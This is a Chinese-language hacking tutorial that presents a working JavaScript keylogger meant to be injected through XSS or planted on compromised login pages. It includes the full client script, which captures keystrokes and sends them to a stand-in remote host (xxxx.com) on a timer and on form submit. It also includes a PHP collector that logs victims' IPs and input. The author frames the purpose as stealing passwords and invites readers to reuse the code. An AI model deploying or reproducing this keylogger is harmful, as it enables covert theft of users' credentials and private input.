[F4CK-phithon]javascript键盘记录详解,各种浏览器适用
哦?有同学在问什么是键盘记录了,它跟xss有什么关系。
0x01 javascript键盘事件
总所周知,xss漏洞的产生是因为执行了恶意的javascript代码。我们可以通过这个xss获得用户的cookie,但这绝对不是xss仅有的作用。
试想一下,你有一个很大的discuz论坛的shell,但数据库里很多密码都因为加了salt很难破解(包括管理员的)。如果我挂一个键盘记录的javascript在登陆页面(当然更好的是直接挂抓取密码的js),我就能轻松地获得每个人登陆时候输入的信息。当然,这个例子与xss就没关系了。
在xss的时候,我们挂的代码中如果也有键盘记录的功能,也能多少获得一些对方的信息,比如对方的打字习惯、对方正在干什么,如果你插的页面正好也有登陆框,也就顺便能打到一些账号密码。实用范围还有很多,大家可以自己发挥想象力。
javascript代码中有三个事件:onkeydown、onkeyup、onkeypress,分别对应着键盘按下、弹起、按动一个键。有人就问了,有了前两个,press不是很没用。其实press更多的是响应一个可见字符的输入事件,比如我输入一个*号,用前两个事件记录下的按键可能是:“shift”、“8”,而press事件记录下的直接就是“*”。明白什么意思吧。
因为有了这三个事件,我们只用响应他们就能记录键盘了。
0x02 浏览器兼容
javascript代码最大的麻烦就是浏览器兼容,因为不同浏览器可能代码就不一样。现在主流浏览器就是IE、chrome、firefox,我们只要做到了这三个浏览器的兼容,基本上就可以了。
keyDown等这几个事件都有一个隐藏的参数e,类似这样function onkeydown(e){},进入响应函数后e其实就是我们这个事件对象,它其中就包括了按下的键,那就是e.keyCode。但是,在IE中又不是这样,IE里获得按下的键是event.keyCode,这个event是一个全局变量。
所以我们在这里巧妙地处理这个问题:
var e=e||event; var currKey=e.keyCode||e.which||e.charCode;
e||event,当e不存在时返回event,最后结果替代新的e。下面一个类似,当e.keyCode不存在时返回e.which,再不存在就返回e.charCode。最后结果在currKey中。
0x03 代码编写
于是我就想了一个思路:我们将用户输入的每个字符都保存在logger这个全局变量里,然后每过10秒(时间长是为了减轻服务器负担),提交一次logger,并清空它。等待下次记录。
这是我今天晚上写的一个javascript,我已经努力去完善它了,大家还可以拿去尽情发挥:
(function(){ var logger = ""; keyDown = function(e) { var e=e||event; var currKey=e.keyCode||e.which||e.charCode; if((currKey>7&&currKey<32)||(currKey>31&&currKey<47)) { switch(currKey) { case 8: keyName = "[退格]"; break; case 9: keyName = "[制表]"; break; case 13:keyName = "[回车]"; break; //case 16:keyName = "[shift]"; break; case 17:keyName = "[Ctrl]"; break; case 18:keyName = "[Alt]"; break; case 20:keyName = "[大小写]"; break; case 32:keyName = "[空格]"; break; case 33:keyName = "[PageUp]"; break; case 34:keyName = "[PageDown]"; break; case 35:keyName = "[End]"; break; case 36:keyName = "[Home]"; break; case 37:keyName = "[方向键左]"; break; case 38:keyName = "[方向键上]"; break; case 39:keyName = "[方向键右]"; break; case 40:keyName = "[方向键下]"; break; case 46:keyName = "[删除]"; break; default:keyName = ""; break; } logger += keyName; } } keyPress = function(e) { var currKey=0,CapsLock=0,e=e||event; currKey=e.keyCode||e.which||e.charCode; CapsLock=currKey>=65&&currKey<=90; switch(currKey) { //屏蔽了退格、制表、回车、空格、方向键、删除键等 case 8: case 9:case 13:case 16:case 17:case 18:case 20: case 32: case 33: case 34: case 35: case 36: case 37:case 38: case 39:case 40:case 46:keyName = "";break; default:keyName = String.fromCharCode(currKey); break; } logger += keyName; } sendChar = function() { if (!logger) return; (new Image).src="http://xxxx.com/getChar.php?char=" + logger; //服务端地址 logger = ""; } formSubmit = function() { sendChar(); } document.onkeydown = keyDown; document.onkeypress = keyPress; document.onsubmit = formSubmit; setInterval(sendChar, 10000); //设置定时器 })();
大家可以看到,我这里面定义了几个函数,一是keyDown,它是在按键按下时响应,我用它来记录一些不可见字符,比如回车、上下左右、退格等。
二是keyPress,我用它来记录可见字符(因为用它就能直接记录下&*()这种需要按shift的字符了)。
三是formSubmit,这里是为了拦截表单的提交消息。因为我们这个脚本是每过10秒发送一次记录的数据,但如果用户输入账号密码的时间很快,5秒就输完了,然后回车提交了,这样我们就什么都没拿到。于是我绑定了一个提交的事件,当用户提交表单的时候,也发送一次。
四是sendChar,就是我们发送数据的函数。这个函数里用new Image新建了一个图片,图片的地址就是我们的服务端,用get的方式将数据交给服务端即可。
0x04 服务端接收
有了javascript客户端,服务端也不能少。在我自己的xss平台没出来前,我就简单地写了一个脚本:
<?php if(empty($_GET['char'])) exit; $char = $_GET['char']; @session_start(); if (!file_exists("log")) mkdir("log"); $filename = "log/" . session_id() . ".txt"; if (file_exists($filename)) { $f = fopen($filename, "a"); fwrite($f, $char); fclose($f); }else{ $f = fopen($filename, "a"); fwrite($f, "ip:" . getIP() . "\n"); fwrite($f, "user-agent:" . getUser() . "\n"); fwrite($f, "From:" . getRefer() . "\n"); fwrite($f, "begintime:" . date("Ymd,g:i a") . "\n"); fwrite($f, "data:\n"); fwrite($f, $char); fclose($f); } function getIP() { return getenv("REMOTE_ADDR") ? getenv("REMOTE_ADDR") : "unknow"; } function getUser() { return getenv("HTTP_USER_AGENT") ? getenv("HTTP_USER_AGENT") : "unknow"; } function getRefer() { return getenv("HTTP_REFERER") ? getenv("HTTP_REFERER") : "unknow"; } ?>
我在log目录下,用session id来新建一个文件(记录的信息就简单保存在文件中)。因为每个用户的session不一样,所以尽可能地避免了文件的重复。
这个文件最开头记录了用户的IP、user-agent、referer,然后之后就是输入的数据。我会首先在log中判断,如果有这个session id对应的文件,说明这个用户被记录过,所以在文件最后追加数据就行。如果没有这个文件就创建,然后记录IP等信息。
当然这个服务端是有漏洞的,并没有对任何输入进行检查,这个自己完善。
0x05 简单尝试
我在某个网站后台挂上了这个js,然后自己登陆试了一下,已经能记录输入的信息了。大家应该看得很清楚,输入完账号后按了TAB键,继续输密码,这种情况很常见。
如果大家对代码有什么改进的建议,可以和我一起讨论。希望你们能和我一起学到知识。